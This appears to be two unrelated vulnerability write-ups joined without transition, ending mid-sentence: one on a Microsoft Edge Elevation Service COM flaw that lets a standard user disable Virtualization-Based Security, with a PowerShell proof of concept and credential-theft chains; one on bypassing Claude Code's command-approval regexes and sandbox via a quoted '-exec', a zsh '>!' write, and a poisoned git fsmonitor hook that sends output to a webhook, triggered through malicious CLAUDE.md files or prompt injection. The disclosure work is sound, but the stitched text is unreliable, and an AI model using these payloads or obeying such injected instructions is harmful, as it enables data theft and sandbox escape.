The Outcome

In December 2025, I discovered CVE-2026-21223—a security feature bypass in Microsoft Edge’s Elevation Service that allows any standard user to disable Virtualization-Based Security (VBS) without administrator privileges. Microsoft awarded a $20,000 bounty for this finding.

But this wasn’t what I set out to find. I was hunting for browser sandbox escapes. This post explains how understanding the Windows security architecture, systematically mapping attack surfaces, and using AI-augmented tooling led to an unexpected but high-impact discovery.

The Original Goal: Browser Sandbox Escape

I began this research with a specific objective: find a sandbox escape in a Chromium-based browser. The ideal vulnerability chain looks like this:

1. Renderer compromise - Exploit a memory corruption bug (V8, Blink, etc.) to get code execution in the renderer process
2. Sandbox escape - Break out of the Chromium sandbox to reach the browser process or underlying OS
3. Privilege escalation - Elevate from user to SYSTEM

I’d been following the evolution of Chromium sandbox escape research closely. The classic techniques include:

• Mojo IPC vulnerabilities - Chromium uses Mojo for inter-process communication. Bugs in Mojo message handling can allow a compromised renderer to send crafted messages to privileged interfaces.

• MojoJS exploitation - Researchers at Theori demonstrated that enabling MojoJS bindings (via memory corruption) allows direct IPC calls from JavaScript, significantly simplifying exploit development.

• Handle leakage - CVE-2025-2783, discovered by Kaspersky during Operation ForumTroll, exploited improper handle validation in Mojo on Windows to escape the sandbox.

• Port name leaking - Mojo IPC uses 128-bit random port names for message routing. As documented in Chromium’s Mojo security model, leaking these port names allows injecting messages into privileged IPC channels—a technique used in multiple sandbox escapes.

These techniques are powerful but require deep knowledge of Chromium internals and often chain multiple bugs together. I wanted to find something that worked differently—something in the auxiliary attack surface that security teams might overlook.

Understanding What We’re Protecting: VBS Architecture

Before hunting for ways to disable VBS, I needed to understand what VBS actually protects and why it matters. This knowledge would later prove crucial for articulating the impact of my finding.

Virtual Trust Levels (VTL)

Windows implements Virtualization-Based Security using a concept called Virtual Trust Levels. The architecture creates two isolated execution environments:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

┌─────────────────────────────────────────────────────────────────────────────┐
│                              HYPERVISOR                                      │
│                        (Hyper-V, root of trust)                              │
└─────────────────────────────────────────────────────────────────────────────┘
         │                                              │
         ▼                                              ▼
┌─────────────────────────────────┐    ┌─────────────────────────────────────┐
│           VTL 0                 │    │              VTL 1                   │
│      "Normal World"             │    │         "Secure World"               │
│                                 │    │                                     │
│  ┌───────────────────────────┐  │    │  ┌─────────────────────────────┐    │
│  │    Ring 0 (Kernel)        │  │    │  │   Ring 0 (Secure Kernel)    │    │
│  │  - NT Kernel              │  │    │  │   - Minimal kernel (SK)     │    │
│  │  - Drivers                │  │    │  │   - Code Integrity (CI)     │    │
│  │  - File system            │  │    │  │   - Encryption module       │    │
│  └───────────────────────────┘  │    │  └─────────────────────────────┘    │
│  ┌───────────────────────────┐  │    │  ┌─────────────────────────────┐    │
│  │    Ring 3 (User)          │  │    │  │   Ring 3 (Isolated User)    │    │
│  │  - Applications           │  │    │  │   - LSAISO.exe (Cred Guard) │    │
│  │  - Services               │  │    │  │   - Trustlets               │    │
│  │  - LSASS.exe              │  │    │  │   - VBS Enclaves            │    │
│  └───────────────────────────┘  │    │  └─────────────────────────────┘    │
└─────────────────────────────────┘    └─────────────────────────────────────┘

The key insight: code running in VTL0, even in Ring 0 (kernel), cannot access VTL1 memory. The hypervisor enforces this isolation using Second Level Address Translation (SLAT). Even if an attacker achieves arbitrary kernel read/write in VTL0, they cannot touch VTL1.

VBS-Protected Security Features

VBS enables several critical security features:

Credential Guard is particularly significant. It runs LSAISO.exe (LSA Isolated) as a trustlet in VTL1. When LSASS needs to access credentials, it communicates with LSAISO via RPC, but the actual secrets never leave VTL1. This means even with SYSTEM access and arbitrary kernel read/write, Mimikatz-style attacks fail—the credentials simply aren’t accessible from VTL0.

HVCI ensures that all kernel-mode code has been signed and verified before execution. The Secure Kernel in VTL1 manages the SLAT tables and ensures that kernel pages can only be marked executable after passing code integrity checks. This breaks a fundamental primitive that many kernel exploits rely on: the ability to execute shellcode in kernel mode.

Kernel Data Protection (KDP) goes even further, allowing kernel-mode software to mark certain memory regions as read-only from VTL0’s perspective. Even if an attacker achieves arbitrary kernel write, KDP-protected structures remain immutable.

Why Disabling VBS Matters

Understanding this architecture explains why a VBS bypass is so impactful:

1. Enables credential theft - Disable VBS → Credential Guard stops working → Mimikatz works again
2. Enables kernel exploitation - Disable VBS → HVCI stops enforcing code integrity → Unsigned kernel code executes
3. Enables rootkits - Disable VBS → No hypervisor enforcement → Kernel modifications persist
4. Bypasses enterprise policy - Organizations mandate VBS via Group Policy → This bypass negates that protection

A VBS disable primitive is a force multiplier. It doesn’t give you code execution directly, but it removes the guardrails that prevent other attacks from succeeding.

Why Not Just Hunt in Mojo?

Given the rich history of Mojo IPC vulnerabilities, why didn’t I focus there?

Competition and coverage. The Mojo attack surface is heavily saturated. Google’s security team runs extensive fuzzing, the vulnerability research community has published detailed analyses, and every major sandbox escape in recent years has prompted additional hardening. The bar is high.

Complexity. Exploiting Mojo bugs typically requires:

• Deep understanding of Chromium’s multi-process architecture
• Knowledge of specific interface semantics and expected message formats
• Often, chaining multiple gadgets (info leak + logic bug + race condition)
• Platform-specific exploitation techniques

The renderer prerequisite. Most Mojo attacks assume you’ve already compromised the renderer. You need a separate renderer bug first, then the sandbox escape. I wanted to find something that could work independently, and be tested and validated using an agent harness.

Auxiliary attack surfaces. Modern browsers ship with far more than rendering engines. They include:

• Elevation services for privileged operations
• Update mechanisms with system-level access
• Native messaging hosts
• Helper processes for PDF, media, etc.
• COM/RPC interfaces for Windows integration

These auxiliary components often run with higher privileges than the browser itself and receive less security scrutiny.

The Pivot: From Mojo to COM

I decided to systematically map the attack surface of browser auxiliary services on Windows. My hypothesis:

Browsers ship with privileged services that expose RPC or COM interfaces. Some of these interfaces may perform sensitive operations without properly validating the caller’s privileges.

This aligns with historical vulnerability patterns. The JuicyPotato family of exploits demonstrated that Windows services frequently expose COM interfaces that can be abused for privilege escalation. The core technique involves:

1. Finding a COM object that runs as SYSTEM
2. Triggering the object to connect back to an attacker-controlled endpoint
3. Capturing and impersonating the SYSTEM token

GodPotato extended this to work on Windows 2012-2022 by exploiting flaws in how the RPCSS service handles OXID resolution. The key requirement is SeImpersonatePrivilege, commonly available to service accounts.

But I wasn’t looking for token impersonation. I was looking for COM interfaces that directly perform sensitive operations on the caller’s behalf—without properly checking who’s asking.

AI-Augmented Reconnaissance

This is where AI augmentation accelerated the research. I won’t reveal specific tooling, but I’ll describe the methodology.

Traditional COM enumeration is tedious. You need to:

1. Enumerate all registered COM classes
2. Check which run as services (potential SYSTEM context)
3. Analyze security descriptors (who can activate)
4. Enumerate interfaces and methods
5. Understand method semantics from parameter types
6. Test for vulnerable behaviors

Manually, this takes weeks. With an agent harness, I could:

• Bulk enumerate COM classes and filter by privilege context
• Pattern match on interface names and method signatures that suggest sensitive operations
• Prioritize based on security descriptor analysis (who can call what)
• Correlate with service configurations and binary analysis

The key insight: interface names are descriptive, but method names aren’t. A COM interface named IElevatorEdge tells you it’s related to Edge elevation. But the methods might be called Proc0, Proc1, etc., with no semantic meaning. Understanding what a method does requires analyzing the binary or observing behavior through testing.

Filtering Strategy

I filtered COM classes using these criteria:

This reduced thousands of COM classes to a manageable list of ~50 high-priority targets.

The Edge Elevation Service

Among the filtered targets, one stood out: Microsoft Edge’s Elevation Service.

Initial Reconnaissance

1
2
3
4

Service Name:     MicrosoftEdgeElevationService
Binary:           C:\Program Files (x86)\Microsoft\Edge\Application\<version>\elevation_service.exe
Runs As:          LocalSystem
Startup Type:     Manual (triggered on demand)

The service exposes a COM interface:

1
2
3

CLSID:     1fcbe96c-1697-43af-9140-2897c7c69767
Interface: IElevatorEdge
IID:       c9c2b807-7731-4f34-81b7-44ff7779522b

The interface name immediately suggested privileged operations. Edge needs to perform elevated tasks (installing updates, modifying system settings) that a standard user browser process shouldn’t be able to do directly.

Method Enumeration

Interface enumeration revealed these methods:

1
2
3
4
5
6
7

IElevatorEdge Interface Methods:
├── DecryptData(string ciphertext) -> DecryptData_RetVal
├── EncryptData(ProtectionLevel, string plaintext) -> EncryptData_RetVal
├── LaunchUpdateCmdElevated(string appid, string cmd_id, uint32 caller_pid) -> uint64
├── LaunchUpdateCmdElevatedAndWait(string appid, string cmd_id, uint32 timeout) -> uint32
├── RunRecoveryCRXElevated(string crx_path, string appid, string version, ...) -> uint64
└── ReservedFunction1() -> void

Two methods immediately caught my attention:

• LaunchUpdateCmdElevated - Takes a cmd_id string and caller_pid
• LaunchUpdateCmdElevatedAndWait - Similar, but waits for completion

The naming convention suggests these methods execute commands—elevated commands—based on a cmd_id parameter. If I could control what commands get executed, and the service doesn’t validate my privileges, that’s a vulnerability.

Caller Validation Analysis

Before testing, I wanted to understand how the service validates callers. I extracted strings from elevation_service.exe:

1
2
3
4
5
6
7
8
9

Address          String
──────────────────────────────────────────────────────────────
0x1401f5cb9      "..\..\chrome\elevation_service\caller_validation.cc"
0x1401f5ced      "Failed to get process image path"
0x1401f5d1b      "Failed to authenticate caller process:"
0x1401f5d60      "Program Files (x86)"
0x1401f5d88      "Program Files"
0x1401f8f80      "msedge.exe"
0x1401f5f20      "msedgerecovery.exe"

The presence of caller_validation.cc indicated there IS validation logic. The allowed executable names and path strings suggested the service checks whether the caller is a legitimate Edge process from Program Files.

Further binary analysis revealed the validation mechanism:

1
2
3

# Import analysis
RPCRT4.dll   - I_RpcOpenClientProcess    @ 0x14015428e
KERNEL32.dll - QueryFullProcessImageNameW @ 0x1400273c0

The service uses I_RpcOpenClientProcess to get a handle to the calling process, then QueryFullProcessImageNameW to get the caller’s executable path. It compares against the allowed list.

But here’s the critical question: Is this validation applied to ALL methods, or just some? And when exactly does validation occur?

Registry Archaeology

Before testing whether caller validation could be bypassed, I needed to understand what cmd_id values were valid. Random strings would likely fail silently.

The binary strings revealed a registry path pattern:

1
2

0x1401f8f68  "CommandLine"
0x140286d1e  "cmd_id"

I searched the registry for keys matching the expected pattern:

1

HKLM\SOFTWARE\WOW6432Node\Microsoft\EdgeUpdate\Clients\{browser_appid}\Commands\{cmd_id}

This revealed the Edge browser’s application ID and all registered commands:

1
2
3
4
5
6
7
8
9
10
11
12

browser_appid: {56EB18F8-B008-4CBD-B6D2-8C97FE7E9062}

Commands:
┌────────────────────────────┬──────────────────────────────────────────────────┐
│ cmd_id                     │ CommandLine                                      │
├────────────────────────────┼──────────────────────────────────────────────────┤
│ edge-vbs-disable           │ setup.exe --edge-vbs-disable --system-level ...  │
│ edge-vbs-enable            │ setup.exe --edge-vbs-enable --system-level ...   │
│ on-logon-autolaunch        │ msedge.exe --launcher=on_logon_windows           │
│ on-logon-startup-boost     │ msedge.exe --no-startup-window                   │
│ on-os-upgrade              │ setup.exe --on-os-upgrade --msedge ...           │
└────────────────────────────┴──────────────────────────────────────────────────┘

edge-vbs-disable and edge-vbs-enable.

The registry showed that Edge’s elevation service is designed to toggle VBS—a protected security feature—via setup.exe invocation. The CommandLine for edge-vbs-disable is:

1
2

"C:\Program Files (x86)\Microsoft\Edge\Application\<version>\Installer\setup.exe"
    --edge-vbs-disable --system-level --verbose-logging --msedge --channel=stable

This makes sense from Edge’s perspective. VBS can cause compatibility issues with certain hardware configurations, and Edge provides a mechanism for users to toggle it. But the elevation service runs as SYSTEM—it has permission to modify the VBS registry keys.

The question: Does the service verify that the CALLER has permission to modify VBS?

The Vulnerability

I tested by calling LaunchUpdateCmdElevatedAndWait from a PowerShell script running as a standard user:

1
2
3
4
5
6

# Call parameters
$clsid = "1fcbe96c-1697-43af-9140-2897c7c69767"
$iid = "c9c2b807-7731-4f34-81b7-44ff7779522b"
$browser_appid = "{56EB18F8-B008-4CBD-B6D2-8C97FE7E9062}"
$cmd_id = "edge-vbs-disable"
$timeout = 30000

Before the call, I verified that direct registry modification failed:

1
2
3
4

PS> Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\DeviceGuard" `
    -Name "EnableVirtualizationBasedSecurity" -Value 0

Set-ItemProperty : Access to the registry key is denied.

Then I invoked the COM method (using tooling to handle the COM activation and method call). Process Monitor captured the following:

1. My PowerShell process activated the COM object
2. The elevation service received the call
3. Registry lookup for edge-vbs-disable succeeded
4. setup.exe spawned as SYSTEM with VBS-disabling flags
5. Registry key HKLM\System\CurrentControlSet\Control\DeviceGuard\EnableVirtualizationBasedSecurity was set to 0

VBS was disabled. As a standard user.

The caller validation exists but was applied inconsistently—or bypassed—for the LaunchUpdateCmdElevatedAndWait method. The service performed the privileged operation without verifying that my process had any special privileges.

Attack Flow

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38

┌─────────────────┐     ┌──────────────────────────┐     ┌─────────────────┐
│  Standard User  │────▶│  COM Object Activation   │────▶│ MicrosoftEdge   │
│   (Attacker)    │     │  CLSID: 1fcbe96c-...     │     │ ElevationService│
└─────────────────┘     └──────────────────────────┘     │   (SYSTEM)      │
                                                          └────────┬────────┘
                                                                   │
                        ┌──────────────────────────────────────────┘
                        │
                        ▼
┌─────────────────────────────────────────────────────────────────────────┐
│  LaunchUpdateCmdElevatedAndWait(                                        │
│      browser_appid = "{56EB18F8-B008-4CBD-B6D2-8C97FE7E9062}",          │
│      cmd_id = "edge-vbs-disable",                                       │
│      timeout = 30000                                                    │
│  )                                                                      │
└─────────────────────────────────────────────────────────────────────────┘
                        │
                        ▼
┌─────────────────────────────────────────────────────────────────────────┐
│  Registry Lookup (HKLM):                                                │
│  SOFTWARE\WOW6432Node\Microsoft\EdgeUpdate\Clients\{appid}\Commands\    │
│  └── edge-vbs-disable                                                   │
│      └── CommandLine: setup.exe --edge-vbs-disable --system-level       │
└─────────────────────────────────────────────────────────────────────────┘
                        │
                        ▼
┌─────────────────────────────────────────────────────────────────────────┐
│  SYSTEM executes: setup.exe --edge-vbs-disable --system-level           │
│                                                                         │
│  Modifies: HKLM\System\CurrentControlSet\Control\DeviceGuard            │
│            EnableVirtualizationBasedSecurity = 0                        │
└─────────────────────────────────────────────────────────────────────────┘
                        │
                        ▼
            ┌───────────────────────┐
            │   VBS DISABLED        │
            │   Security Bypassed   │
            └───────────────────────┘

Privilege Boundary Architecture

For context on why this is a security boundary violation:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

┌─────────────────────────────────────────────────────────────────────┐
│                        USER MODE (Medium IL)                        │
│  ┌──────────────────────────────────────────────────────────────┐   │
│  │  PowerShell / Attacker Script                                │   │
│  │  - Runs as standard user                                     │   │
│  │  - Cannot modify HKLM\...\DeviceGuard directly               │   │
│  │  - Cannot disable VBS through normal means                   │   │
│  └──────────────────────────────────────────────────────────────┘   │
└─────────────────────────────────────────────────────────────────────┘
                              │ COM/RPC (no privilege check)
                              ▼
┌─────────────────────────────────────────────────────────────────────┐
│                     SYSTEM MODE (High IL)                           │
│  ┌──────────────────────────────────────────────────────────────┐   │
│  │  MicrosoftEdgeElevationService (elevation_service.exe)       │   │
│  │  - Runs as LocalSystem                                       │   │
│  │  - CAN modify HKLM\...\DeviceGuard                           │   │
│  │  - CAN disable VBS                                           │   │
│  │                                                               │   │
│  │  ⚠️  FAILS TO CHECK: Does the caller have admin rights?      │   │
│  │                                                               │   │
│  │  IElevatorEdge Interface                                      │   │
│  │  ├── LaunchUpdateCmdElevated()                                │   │
│  │  ├── LaunchUpdateCmdElevatedAndWait()  ◄── VULNERABLE         │   │
│  │  ├── RunRecoveryCRXElevated()                                 │   │
│  │  ├── EncryptData()                                            │   │
│  │  └── DecryptData()                                            │   │
│  └──────────────────────────────────────────────────────────────┘   │
└─────────────────────────────────────────────────────────────────────┘

Impact Analysis

Direct Security Feature Bypass

Any standard user can:

• Disable VBS → Weakens all VBS-dependent protections
• Enable VBS → Could cause system instability on unsupported hardware
• Bypass Group Policy → Enterprises cannot enforce VBS via policy

Attack Chain Enablement

This vulnerability is a stepping stone for other attacks:

Scenario 1: Credential Theft

1
2
3
4
5
6

1. Attacker gains standard user access (phishing, RCE, etc.)
2. Attacker calls edge-vbs-disable via COM
3. System reboots (attacker waits or forces reboot)
4. After reboot, Credential Guard is disabled
5. Attacker runs Mimikatz → obtains domain credentials
6. Lateral movement with stolen credentials

Scenario 2: Kernel Exploitation

1
2
3
4
5
6
7
8

1. Attacker has a kernel vulnerability that only works without HVCI
   (unsigned code execution, certain memory corruption techniques)
2. HVCI blocks the exploit
3. Attacker disables VBS via this vulnerability
4. System reboots
5. HVCI is now disabled
6. Kernel exploit succeeds → SYSTEM code execution
7. Install rootkit, disable security software, etc.

Scenario 3: Enterprise Policy Bypass

1
2
3
4
5

1. Organization mandates VBS via Group Policy (common for PCI-DSS, etc.)
2. Compliance monitoring checks VBS status
3. Attacker disables VBS
4. Attacker performs malicious actions that would have been blocked
5. Attacker re-enables VBS before next compliance check

CVSS Considerations

This is a Security Feature Bypass with:

• Attack Vector: Local (requires local user access)
• Attack Complexity: Low (simple COM call)
• Privileges Required: Low (standard user)
• User Interaction: None (no user action needed)
• Scope: Changed (affects other security features)
• Confidentiality/Integrity/Availability: Indirect but significant

Proof of Concept

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102

#################################################################################
# Microsoft Edge Elevation Service - VBS Security Feature Bypass PoC
# CVE-2026-21223
#################################################################################
#
# Vulnerability: Security Feature Bypass via IElevatorEdge COM Interface
# CLSID: 1fcbe96c-1697-43af-9140-2897c7c69767
# Interface: IElevatorEdge (IID: c9c2b807-7731-4f34-81b7-44ff7779522b)
# Method: LaunchUpdateCmdElevatedAndWait
# Service: MicrosoftEdgeElevationService (runs as SYSTEM)
#
# Impact: Standard user can disable/enable VBS without admin privileges
#
# Registry Key Modified:
#   HKLM\System\CurrentControlSet\Control\DeviceGuard\EnableVirtualizationBasedSecurity
#
#################################################################################

param(
    [Parameter(Mandatory=$false)]
    [ValidateSet("disable", "enable", "check")]
    [string]$Action = "check"
)

$ErrorActionPreference = "Stop"

# Configuration
$CLSID = "1fcbe96c-1697-43af-9140-2897c7c69767"
$IID = "c9c2b807-7731-4f34-81b7-44ff7779522b"
$EdgeAppId = "{56EB18F8-B008-4CBD-B6D2-8C97FE7E9062}"
$VBSRegPath = "HKLM:\System\CurrentControlSet\Control\DeviceGuard"
$VBSValueName = "EnableVirtualizationBasedSecurity"
$Timeout = 30000

function Get-VBSState {
    try {
        $value = (Get-ItemProperty -Path $VBSRegPath -Name $VBSValueName -ErrorAction Stop).$VBSValueName
        if ($value -eq 0) { return "DISABLED" }
        elseif ($value -eq 1) { return "ENABLED" }
        else { return "UNKNOWN ($value)" }
    } catch {
        return "NOT CONFIGURED"
    }
}

function Test-DirectModification {
    Write-Host "[*] Testing direct registry modification (should fail)..."
    try {
        Set-ItemProperty -Path $VBSRegPath -Name $VBSValueName -Value 0 -ErrorAction Stop
        Write-Host "[!] Direct modification SUCCEEDED - running as admin?"
        return $true
    } catch {
        Write-Host "[+] Direct modification DENIED as expected"
        return $false
    }
}

Write-Host ""
Write-Host "=========================================="
Write-Host " CVE-2026-21223 - Edge Elevator VBS Bypass"
Write-Host "=========================================="
Write-Host ""

Write-Host "[*] Current VBS State: $(Get-VBSState)"

if ($Action -eq "check") {
    Write-Host "[*] Check complete. Use -Action disable or -Action enable to exploit."
    exit 0
}

# Verify we don't have direct access
if (Test-DirectModification) {
    Write-Host "[!] You appear to have admin rights. Exploit not needed."
    exit 1
}

Write-Host ""
Write-Host "[*] Exploiting via COM..."
Write-Host "[*] Target: LaunchUpdateCmdElevatedAndWait"
Write-Host "[*] cmd_id: edge-vbs-$Action"
Write-Host ""

# The actual COM invocation requires OleViewDotNet or similar tooling
# Pseudocode for the exploit:
#
#   $comType = [Type]::GetTypeFromCLSID([Guid]$CLSID)
#   $comObj = [Activator]::CreateInstance($comType)
#   $iface = Get-Interface $comObj $IID
#   $result = $iface.LaunchUpdateCmdElevatedAndWait($EdgeAppId, "edge-vbs-$Action", $Timeout)
#
# Or via MCP tooling:
#   call_com_method(
#       clsid = $CLSID,
#       iid = $IID,
#       method_name = "LaunchUpdateCmdElevatedAndWait",
#       parameters = [$EdgeAppId, "edge-vbs-$Action", $Timeout]
#   )

Write-Host "[*] COM call would be executed here..."
Write-Host "[*] After successful exploit, VBS state changes on next reboot."
Write-Host ""
Write-Host "[*] Verify with: Confirm-SecureBootUEFI; Get-CimInstance -ClassName Win32_DeviceGuard"

Binary Analysis Details

For researchers interested in the internals, here’s what I found in elevation_service.exe:

Key Imports

1
2
3
4
5
6
7
8
9
10
11
12
13

RPCRT4.dll:
  - I_RpcOpenClientProcess      # Get handle to calling process

KERNEL32.dll:
  - QueryFullProcessImageNameW  # Get caller's executable path
  - CreateProcessAsUserW        # Spawn elevated processes

ADVAPI32.dll:
  - RegOpenKeyExW               # Registry operations
  - RegQueryValueExW            # Read CommandLine values

SHLWAPI.dll:
  - PathMatchSpecW              # Wildcard path matching

Caller Validation Code Flow

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

fcn.14002767f (caller_validation):
  ├── Call I_RpcOpenClientProcess @ 0x14015428e
  │   └── Gets HANDLE to calling process
  ├── Call QueryFullProcessImageNameW @ 0x140027337
  │   └── Gets full path of caller executable
  ├── Compare against allowed paths:
  │   ├── "Program Files (x86)" @ 0x1401f5d60
  │   └── "Program Files" @ 0x1401f5d88
  ├── Compare against allowed executables:
  │   ├── "msedge.exe" @ 0x1401f8f80
  │   ├── "msedgerecovery.exe" @ 0x1401f5f20
  │   ├── "msedgewebview2.exe"
  │   ├── "setup.exe"
  │   └── "mscopilot.exe"
  └── Return validation result

The validation logic exists—but for some reason, calls to LaunchUpdateCmdElevatedAndWait from non-Edge processes succeeded anyway. This could be:

• A logic bug where the validation result isn’t properly checked
• A race condition
• Validation applied to some methods but not others
• A configuration issue specific to certain Edge versions

Disclosure Timeline

References

• Virtualization-based Security (VBS) - Microsoft Learn
• Credential Guard Overview - Microsoft Learn
• Enable Virtualization-based Protection of Code Integrity - Microsoft Learn
• Isolated User Mode (IUM) Processes - Microsoft Learn
• Introducing Kernel Data Protection - Microsoft Security Blog
• Chromium Sandbox Design - Chromium Documentation
• Cleanly Escaping the Chrome Sandbox - Theori
• GodPotato - GitHub
• JuicyPotato - GitHub
• Windows Exploitation Tricks: Relaying DCOM Authentication - Project Zero

The Vulnerabilities at a Glance

Both vulnerabilities are now patched. Here’s the story of how I found them.

Background: Claude Code’s Permission Architecture

Before diving into the vulnerabilities, it’s essential to understand how Claude Code’s multi-layered permission system works. This isn’t a simple allow/deny system—it’s a complex architecture with multiple scopes, regex-based validation, and even secondary LLM checks.

Permission Scopes and Hierarchy

Claude Code uses a strict hierarchy where higher-precedence sources override lower-precedence ones:

1

Enterprise (managed) > CLI flags > Local Project > Shared Project > User > Defaults

Each scope has its own configuration file:

Within each settings file, you can define three types of permission rules:

• allow: Automatically approves matching commands (no user prompt)
• deny: Completely blocks matching commands (always overrides allow)
• ask: Forces confirmation prompt even if there’s a matching allow rule

The evaluation order is: deny rules first, then ask, then allow. First match wins.

The Bash Tool Validation Pipeline

When Claude Code wants to execute a bash command, it goes through a multi-stage validation pipeline. The BashCommand tool’s checkPermissions method returns one of four states:

1. Deny – Action explicitly blocked; no further evaluation
2. Allow – Execute without user prompt; no further evaluation
3. Ask – Prompt user for permission; no further evaluation
4. Passthrough – Continue to additional checks

The validation happens in sequence:

1. Regex whitelist check: Commands are matched against patterns in safeCommandsAndArgs
2. Flag validation: Specific flags are validated against allowed patterns
3. Secondary LLM validation: Anthropic’s Haiku model analyzes command prefixes for injection attempts
4. User prompting: Commands failing all automated checks trigger the approval modal

Regex-Based Safe Command Detection

At the heart of Claude Code’s bash validation is a massive collection of regular expressions. As noted in SpecterOps’ “An Evening with Claude (Code)” research, “The huge list of regular expressions appears to be a method of stemming the bleeding.”

The safeCommandsAndArgs object defines which commands and flags are considered safe:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

safeCommandsAndArgs = {
    xargs: {
      safeFlags: {
        "-I": "{}",
        "-n": "number",
        "-P": "number"
      }
    },
    sed: {
      safeFlags: {
        "-e": "string",
        "-n": "none",
        "-r": "none"
      },
      additionalCommandIsDangerousCallback: additionalSEDChecks
    }
}

For example, the find command regex explicitly tries to exclude dangerous arguments:

1

/^find(?:\s+(?:(?!-delete\b|-exec\b)...$/

This negative lookahead attempts to block -exec from being auto-approved. But regex has limits—it’s pattern matching, not semantic parsing.

The Sandbox: OS-Level Isolation

Claude Code offers an OS-level sandbox that restricts file operations to the project workspace. When enabled with “regular bash permissions,” commands attempting to write outside the workspace are blocked at the OS level.

Critically, there’s also a dangerouslyDisableSandbox parameter that Claude can pass to the Bash tool. When set to true, the command runs outside the sandbox. Normally, this displays the approval modal with an (unsandboxed) warning tag, so users know they’re approving an unsandboxed operation.

The Discovery Journey

I was working on a project and had configured specific permission settings. But something was off; certain commands weren’t prompting me for approval when I expected them to.

I started experimenting with different permission scopes. I tried adding a permission rule at the user level, then overriding it at the project level. The behavior made sense according to the hierarchy. But then I noticed something: some commands executed without any prompt regardless of my settings.

This led me to investigate which commands are auto-approved by default. Commands like find, ls, git status, and echo are considered “safe” and auto-execute without the “Do you want to proceed?” modal. The safety determination is made by those regex patterns in safeCommandsAndArgs.

The obvious conclusion, then, is that regex-based security boundaries, and in turn the command approvals, are inherently fragile. Shell syntax is complex, with multiple ways to express the same semantic meaning. Once I realized this, I was going to dig until I found at least a few bugs.

CVE-2026-24887: The Quoted Dash Bypass

The Vulnerability

The find command is auto-approved by default because it’s considered a read-only file search tool. However, find with the -exec flag can execute arbitrary commands, so the regex explicitly blocks it:

1

(?!-exec\b)

This negative lookahead checks for -exec as a word boundary. But what happens if we quote the dash?

The Bypass Pattern

1

find . -maxdepth 0 "-"exec curl https://attacker.com \;

By writing "-"exec instead of -exec, bash interprets it identically—the dash is just a character in the argument. But the regex pattern doesn’t match because there’s no literal -exec token. The command auto-executes without any approval prompt.

Proof of Concept

Here’s the default behavior: curl requires approval:

And here’s the bypass in action, executing without any prompt:

The exfiltrated data successfully reached the webhook:

The Sandbox Escape

Here’s where it gets interesing. The command injection alone is severe, but I discovered it could also escape Claude Code’s OS-level sandbox.

The mechanism works like this:

1. The sandbox IS enabled and enforced for normal operations
2. Writing files outside the workspace normally requires the (unsandboxed) approval modal
3. A malicious CLAUDE.md can instruct Claude to invoke Bash with dangerouslyDisableSandbox: true
4. Since the command injection bypasses the approval modal entirely, the user never sees the (unsandboxed) warning
5. The command executes outside the sandbox without user consent

From my HackerOne report:

This is not only a permission prompt bypass, but also allows sandbox escape when the prompt includes instructions to include the Bash argument dangerouslyDisableSandbox: true. Users who enable sandbox mode to protect against files being written outside of the project workspace, or any other sandbox restrictions, are not protected.

This demonstrates the three-part chain:

1. find "-"exec cat /home/kali/ARB.txt reads a file outside the workspace
2. find "-"exec touch /home/kali/GAME_SETUP.txt writes a file outside the workspace
3. Both executed without approval, with sandbox enabled

CVE-2026-24053: ZSH Clobber Path Restriction Bypass

The Vulnerability

Claude Code’s path validation ensures file writes stay within the project workspace. Writing outside the workspace triggers the approval modal:

Even if you approve, the sandbox blocks it:

But Claude Code’s validation was designed primarily for Bash semantics. ZSH (the default shell on macOS and common Linux distributions like Kali) has a special “clobber” operator: >!

The Bypass Pattern

1

echo "malicious content" >! /arbitrary/path/outside/workspace

The >! operator in ZSH forces file overwriting, but more importantly, Claude Code’s regex validation wasn’t looking for this pattern. It expected > for redirects, not >!.

The file write succeeded without any approval modal, even with sandbox enabled.

Weaponization: Git Hooks for Code Execution

A file write primitive is useful, but how do we achieve arbitrary command execution? The answer: git’s fsmonitor hook.

The .git/config file can specify an fsmonitor command that executes whenever git checks the working directory status. And critically, git status is an auto-approved command.

Full Attack Chain

1. Write malicious git config using the ZSH clobber bypass:

1
2

echo '[core]
fsmonitor = "curl https://webhook.site/xxx?data=$(whoami)"' >! .git/config

2. Trigger with auto-approved command:

1

git status

The git status command is auto-approved and executes without any modal. But because we’ve poisoned the config with an fsmonitor hook, our arbitrary command runs as a side effect.

The attack successfully exfiltrated the output of whoami:

Sandbox Escape

Like CVE-2026-24887, this vulnerability also escapes the sandbox. From my report:

Due to bypassing permission prompts for both sandboxed and non-sandboxed executions, this escapes the OS-level sandbox entirely. Claude can decide whether to invoke Bash with dangerouslyDisableSandbox: true, and if it does, the arbitrary file can be written (or the git hook can be executed) even when sandbox is enabled with regular bash permissions.

Requirements

• ZSH shell (default on macOS, common on Linux)
• For the full attack chain: an initialized git repository with at least one commit

Attack Vectors

These vulnerabilities can be exploited through multiple real-world vectors:

Malicious Repository Clone

An attacker creates a repository with a poisoned CLAUDE.md file. When a victim clones the repo and uses Claude Code, the instructions trigger the vulnerable commands.

The PoC CLAUDE.md files I created disguised the attack as a game setup process while silently executing the payload.

Indirect Prompt Injection

The vulnerabilities can be triggered through:

• WebFetch: Malicious content on websites Claude is asked to analyze
• Git Issues/PRs: Payload hidden in issue descriptions Claude reads
• MCP Servers: Remotely hosted MCP servers can inject malicious content
• Any external data: Anywhere untrusted content enters Claude’s context window

From my report:

The vulnerability is irrespective of model alignment and can be exploited through a multitude of attack scenarios – not only limited to a victim cloning a project with a poisoned CLAUDE.md.

The Core Problem: Regex as Security Boundary

Both vulnerabilities share the same root cause: using regex patterns to make security decisions about shell commands.

Shell syntax is incredibly complex. There are multiple ways to express the same command:

1
2
3
4
5

# All equivalent in bash:
